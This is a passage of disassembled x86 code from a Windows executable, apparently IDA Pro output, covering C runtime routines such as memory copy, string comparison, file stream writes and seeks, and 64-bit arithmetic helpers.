; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 2760152h
		nop
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2860000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9C2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9C0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9BE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9BA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9B8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9B0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2850000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9B8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9B0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DBA0C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB958, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2670E7Fh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 26709D6h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
